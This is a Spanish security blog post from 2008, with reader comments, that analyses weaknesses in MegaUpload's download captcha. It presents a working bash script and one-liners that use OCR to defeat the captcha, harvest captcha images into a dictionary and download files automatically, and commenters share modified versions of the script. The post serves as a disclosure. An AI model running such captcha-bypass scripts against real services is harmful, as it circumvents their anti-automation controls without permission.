10 diciembre 2008

FAIL: Captcha de MegaUpload


Megaupload es un servicio de hospedaje de ficheros comúnmente utilizado para subir distribuciones de linux y contenido freeware en general [...]

Si se accede mediante el servicio gratuito, la aplicación nos obliga a que veamos publicidad y tengamos que esperar un tiempo antes de poder acceder al contenido.

Para evitar que se creen herramientas para la bajada de archivos de forma automática, masiva y desatendida, han implantando una solución de captcha, o lo que es lo mismo, muestran una imagen con letras y solicitan que se escriba el texto antes de poder continuar.

Una vez introducido y puestos en contexto, analizamos los distintos motivos por los que la implantación que han realizado de esta medida es insuficiente. La siguiente imagen muestra un ejemplo.


  1. Longitud: el tamaño de la cadena del texto es siempre de tres caracteres, lo que es una doble vulnerabilidad: el tamaño es siempre el mismo, nunca lo encontraremos de dos o uno y sobra decir que "tres" es insuficiente incluso si hablamos de novias.

  2. Caracteres: el problema anterior se ve potenciado al restringirse los caracteres utilizados al abecedario en mayúsculas [A-Z], en total 26^3 = 17.576 posibles soluciones ¿por qué no números? ¿por que no caracteres especiales? Seguro que la explicación la tiene un director de marketing...

  3. Colorines de las letras: si nos fijamos en la imagen vemos que cada letra tiene un color, esta es una práctica correcta siempre y cuando los colores se alteren y el azar entre en juego. En el caso que nos ocupa el primero siempre será "#786464", el segundo "#aa6464", y el tercero "#dc6464".

  4. URL: la dirección que genera la imagen no es estática, es decir, para cada imagen que se muestra, existe una URL distinta. Lo que causa que se puedan hacer diccionarios del tipo "url->texto de imagen". Esto se comprueba de una forma sencilla, si abrimos la siguiente dirección web y pulsamos varias veces a actualizar, veremos que nunca cambia el texto.
    http://www.megaupload.com/capgen.php?064cb4f01e9a5ad3
  5. La fuente: seguramente el problema más importante, el tipo de letra es sencillo (nuevamente huele a marketing por aquí). Es tan sencillo, que un sistema de reconocimiento óptico de carácteres (OCR), acierta en el 99% de los casos en el análisis, aunque antes haya que jugar un poquito con la imagen. En general se deben de usar varias fuentes y modificar las imágenes distorsionándolas ligeramente y utilizando sistemas de azar. El objetivo es evitar la generación de un diccionario en base la fuente utilizada.

  6. El fondo: blanco Ariel, sin una mota, es todo lo malo que podría ser. No se me ocurre ninguna manera de hacerlo peor. El fondo debería tener líneas y colores no predecibles.

Bueno, como teoría está bien, pero ahora veamos como explotar estas vulnerabilidades de forma sencilla y espero que didáctica.

ATAQUE 1.

He desarrollado un pequeño script en bash para la descarga directa de megaupload. Lo podeís descargar de aquí. Para que funcione es necesario que este instalado el paquete gocr y ImageMagick. Está probado en Fedora Core 8. Su ejecución es tal que: script.sh [url], donde la url es del tipo: http://www.megaupload.com/?d=XXXXXXXX

  1. #!/bin/bash
  2. # aramosf<@>gmail.com http://www.securitybydefault.com
  3. # Mon Dec 8 19:10:57 CET 2008

  4. html=`curl -L -s $1`
  5. d=`echo $1 | sed -e 's/.*d=\(.*\)/\1/g'`
  6. megavar=`echo "$html" | grep megavar |sed -e 's/.*value="\(.*\)".*/\1/'`
  7. imagecode=`echo "$html" | grep imagecode |sed -e 's/.*value="\(.*\)".*/\1/'`
  8. captcha=`echo "$html" | grep capgen | sed -e 's/.*php?\(.*\)".*/\1/'`
Estas primeras líneas hacen una petición a la web y guardan distintos valores que han de ser enviados junto al texto que se muestra en el captcha y que nos permitirá avanzar. La número 9 almacena en una variable la cadena de texto que representa el nombre del archivo del captcha.
  1. file=`echo /tmp/$RANDOM.gif`
  2. letra1=`echo /tmp/$RANDOM.gif`;
  3. letra2=`echo /tmp/$RANDOM.gif`;
  4. letra3=`echo /tmp/$RANDOM.gif`;
  5. curl -s http://www.megaupload.com/capgen.php?$captcha -o $file
  6. convert -fill "#000000" -opaque "#786464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $file $letra3
  7. convert -fill "#000000" -opaque "#aa6464" -fill "#ffffff" -fuzz 45% -opaque "#aa6464" $file $letra2
  8. convert -fill "#000000" -opaque "#dc6464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $file $letra1
  9. imagestring=`gocr -C "A-Z" -i $letra3``gocr -C "A-Z" -i $letra2``gocr -C "A-Z" -i $letra1`
La línea 14 almacena la imagen del captcha en un fichero en local que posteriormente será procesado tres veces, una por cada letra. De la línea 15 a la 17 procesa la imagen tratando de ayudar a la aplicación de reconocimiento de texto "gocr" mediante el coloreado en negro de la letra, y la eliminación de las otras dos, de esta forma, se examina una a una. En el siguiente ejemplo se ve procesada una de estas imágenes:

La línea 18 llama a la aplicación gocr por triplicado que procesará todas las imagenes generadas y construirá el resultado del captcha.
  1. rm -f $file $letra1 $letra2 $letra3
  2. html=`curl -e "$1" -L -s -d "megavar=$megavar&imagecode=$imagecode&d=$d&imagestring=$imagestring" http://www.megaupload.com/`
  3. abs=`echo "$html"|grep Math.abs|sed -e 's/.*Math.abs(-\(.*\))).*/\1/'`
  4. absn=$(printf \\$(printf '%03o' $abs))
  5. stxt=`echo "$html"|grep sqrt|sed -e "s/var . = '\(.*\)'.*/\1/"`
  6. sqrt1=`echo "$html"|grep sqrt|sed -e "s/.*sqrt(\(.*\))).*/\1/"`
  7. sqrt2=`echo -e "sqrt($sqrt1)\nquit\n" | bc -q -i`
  8. sqrtn=$(printf \\$(printf '%03o' $sqrt2))
  9. string="${stxt}${sqrtn}${absn}"
  10. urld=`echo "$html" | grep megaupload.com/files/ | sed -e 's|.*<a href="\(.*\)" onclick.*|\1|'`
  11. urldl=`echo $urld | sed -e "s/'.*'/$string/g"`
  12. filename=`echo $urldl|sed -e "s|.*/\(.*\)|\1|"`
  13. echo Descargando: $filename
  14. echo Espera de 45 segundos
  15. sleep 46
  16. curl "$urldl" -o "$filename"

El resto del script procesa otra pequeña trampa que tiene la página web en javascript para construir la url final y descargar el fichero tras esperar los 45 segundos (esto en principio no se puede evitar). No entro a explicarlo porque daría pie a otro post. Si alguien lo pide en algún comentario, lo cuento detalladamente otro día.

ATAQUE 2.

Para generar un diccionario con todos los captcha, el primer paso es obtenerlos, Hemos comentado que existían 17.576 combinaciones posibles, cada una de estas combinaciones puede estar modificada 8 veces con pequeños giros distintos. Por lo que el total de captchas en el sistema es de 17576 *8 = 140.608.

Como prueba de concepto, solo comento el método y muestro una pequeña base de datos con unos cuantos miles, sería cuestión de tiempo e interés la obtención de la totalidad.

La siguiente línea, guardará 10.000 ficheros en el directorio actual:
for i in `seq 1 10000`; do gotxa=`curl -s "http://www.megaupload.com/?d=L50U5WWE" |grep capgen|sed -e 's/.*img src="\/capgen.php?\(.*\)".*/\1/'`; echo -n "$i-"; if [ -f $gotxa.gif ]; then echo "$gotxa:skip"; else wget -q "http://www.megaupload.com/capgen.php?$gotxa" -O $gotxa.gif; echo $gotxa; fi; done
Esta otra línea, ejecutada en el mismo directorio que el anterior, guardará en un fichero denominado "BBDD", una relación tal que "hash del captcha:letras".
for i in *.gif; do convert -fill "#000000" -opaque "#786464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $i 3.gif; convert -fill "#000000" -opaque "#aa6464" -fill "#ffffff" -fuzz 45% -opaque "#aa6464" $i 2.gif; convert -fill "#000000" -opaque "#dc6464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $i 1.gif; echo -n "$i "`gocr -C "A-Z" -i 3.gif``gocr -C "A-Z" -i 2.gif``gocr -C "A-Z" -i 1.gif`; echo; done|awk '{ print $2, $1}'| sort | uniq > BBDD
Aquí el ejemplo del resultado.

Si analizáis en detalle como son posibles estos ataques, os daréis cuenta que se utilizan varias de las debilidades contadas al inicio, evidenciando una vez más que un grano no hace granero, pero ayuda al compañero.

20 comments :

Asfasfos dijo...

Me parece bien que pongan sistemas de captchas algo complejos...pero tampoco hace falta que se pasen como en rapidshare que tienes que poner que gato está alineado con el sol a la vez que forma con la letra un ángulo de 45º.

Muy buen research aramosf, a ver si ahora megaupload se pone las pilas y lo cambia (que lo dudo :P)

Alejandro Ramos dijo...

Gracias Asfasfos.

Si, lo de rapidshare ha sido la burla durante mucho tiempo. Yo deje de usar el servicio porque todo me parecian gatos, vacas o perros, ya no recuerdo. Menos mal que a día de hoy ya lo han eliminado.

KNO dijo...

El de los gatos era rapidshare.
Aquí un script que encontré (tiene sus créditos y todo) que te permite bajar de megaupload usando la técnica que aquí se propone. Solo hay 10 descargas porque rapidshare pone esa restricción si no tienes cuenta:
http://rapidshare.com/files/172095014/bajameloto.sh.html

Anónimo dijo...

"sobra decir que "tres" es insuficiente incluso si hablamos de novias" -> O de novios. No hacía falta añadir un comentario así para ilustrar el concepto.

Alejandro Ramos dijo...

@Anónimo/a, no pretendía ofender a nadie con el comentario, mis disculpas si lo he hecho.

Gracias por tu valioso apunte.

flikxxi dijo...

Existe otra posibilidad, ni son totalmente ineptos, ni dependen totalmente del tío del marketing. Tal vez hacen lo que VISA con sus tarjetas. Implementan la solución más simple (o barata) que les proporcione un nivel de seguridad aceptable. Y sólo la mejoran según las necesidades. Es más puede que tengan un captcha del copón con niveles de seguridad que incrementan según la mencionada necesidad para alargar el tiempo de vida en una estrategia de desgaste.

ABSOLUT dijo...

Hola Alejandro. Ante todo darte las gracias por este maravilloso blog al cual soy adicto desde un principio.
He intentado implementar tu script pero me da siempre error en la sentencia gocr. Sabes porque puede ser y como evitarlo?
Muchas gracias y un saludo,

++ gocr -C A-Z -i /tmp/21357.gif
invalid number `all'

ERROR pnm.c L297: unexpected EOf

Alejandro Ramos dijo...

@franci, muchas gracias por tu comentario. Tienes toda la razón en el planteamiento en general y es indiscutible, pero yo no creo que sea este caso en concreto en el que haya que aplicarlo, ya que haber implantado este captcha con 4 tipos de letras más, o con un fondo distinto de blanco puede llevar, digamos ¿10 días? más de desarrollo (por ser bestias), para mi, no hay excusa.

Seguridad por defecto.

Si hablasemos de modificar el corazón de la aplicación, entonces si, habrá que hacer un análisis de riesgos detallado y aceptar aquellos en los que su mitigación no sea beneficiosa. Además, nosotros somos de auditoría, si quieren aceptar riesgos me parece bien, pero no por ello no voy a evidencir que lo tienen.

@absolut, muchas gracias!!

gocr tiene un parametro que añade debug (-v) que junto a distintos valores aumenta, en la página del man te vienen todos (son bastantes). A mi me da la sensación que puedes tener el gocr sin soporte nativo para GIF, prueba a modificar el script y pasarlo antes a PPM/PGM mediante: djpeg -pnm $fichero | gocr -C "A-Z" -

Suerte!

Anónimo dijo...

Muy buen apunte, muy interesante ^^

ABSOLUT dijo...

Gracias Alejandro pero me da a mi que no se puede:
djpeg -pnm 23025.gif
Not a JPEG file: starts with 0x47 0x4

gocr -v -C A-Z -i /tmp/23025.gif
invalid number `all'
ERROR pnm.c L297: unexpected EOF

gocr -v -C A-Z -i /tmp/23025.gif
invalid number `all'
ERROR pnm.c L297: unexpected EOF

Muchas gracias

KNO dijo...

Es cierto que no funciona Alejandro, habrá cambiado algo de la página (si sigues los cambios del jDownloader verás con qué frecuencia lo hacen).
Si saco un rato, intentaré adaptar el script. En cualquier caso, el captcha funciona perfectamente.

Alejandro Ramos dijo...

@ABSOLUT, @KNO: a mi me sigue funcionando, el djpeg no os funciona porque el archivo descargado no es un jpeg y es un gif, habría que convertirlo primero a jpeg mediante convert, o convertir directamente a ppm/pgm con convert. Probar esta versión: http://pastebin.com/f50f3af71

KNO dijo...

Alejando, tu script tampoco funciona :(
El problema está en javascript, que cambia entre peticiones.
A ver si se puede hacer algo al respecto...

Alejandro Ramos dijo...

@KNO, no se, yo sigo creyendo que depende de cada distribución y la forma en que haya compilado el GOCR, ya que ahora mismo lo acabo de ejecutar y yo no tengo problemas. De todas formas el objetivo, insisto, no era hacer una herramienta si no una prueba de concepto para entender lo explicado, os anímo a que lo adapteís a vuestro entorno. Suerte.

La salida que se debería obtener es esta:

[root@ks35668 ~]$ bash megadwnl.sh http://www.megaupload.com/?d=QF0O3EXV
Descargando: Session Dj Reginald - House Mayo 2007 - Kurd Maverick, Ismael Rivas, Dustin Robbins, Coca & Villa, Hardsoul, Noir.mp3
Espera de 45 segundos
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 106M 100 106M 0 0 3645k 0 0:00:29 0:00:29 --:--:-- 4154k
[root@ks35668 ~]$

KNO dijo...

Efectivamente Alejando, es que no tenía instalado bc.
He hecho alguna modificación al script que mandé, ahora utiliza rhino para calcular el javascript (podría haber utilizado tu código y así no dependería de otra aplicación externa más, porque aunque la tuya depende de bc, la mia depende de rhino, entre otras, que es menos común).
Aquí tenéis el script:
http://pastebin.com/m6222d27

Alejandro Ramos dijo...

@KNO, un trabajo explendido. Muchisimas gracias por tu aporte.

José A. Guasch dijo...

Han cambiado el sistema de descarga por megaupload....parece que DE MOMENTO, como se dice vulgarmente, "se acabó el chollo"...o no...

1984 dijo...

tres letras entrelazadas y con efecto de negativo unidas a un numero, dando un total de 26 elevado a 3 por 10 igual a 175.760 captchas, que en cuanto a espacio de libreria ocuparia unos 180 megas (tengo ya 17.000 y van 18 megas). ademas que el sistema de negativo dificulta la vista incluos para el humano.

parece que se enojaron en megaupload,,,

en blogger siguen como siempre,,,

Rafael 1984 dijo...

tres letras entrelazadas y con efecto de negativo unidas a un numero, dando un total de 26 elevado a 3 por 10 igual a 175.760 captchas, que en cuanto a espacio de libreria ocuparia unos 180 megas (tengo ya 17.000 y van 18 megas). ademas que el sistema de negativo dificulta la vista incluos para el humano.

parece que se enojaron en megaupload,,,

en blogger siguen como siempre,,,

KNO dijo...

Es cierto que no funciona Alejandro, habrá cambiado algo de la página (si sigues los cambios del jDownloader verás con qué frecuencia lo hacen).
Si saco un rato, intentaré adaptar el script. En cualquier caso, el captcha funciona perfectamente.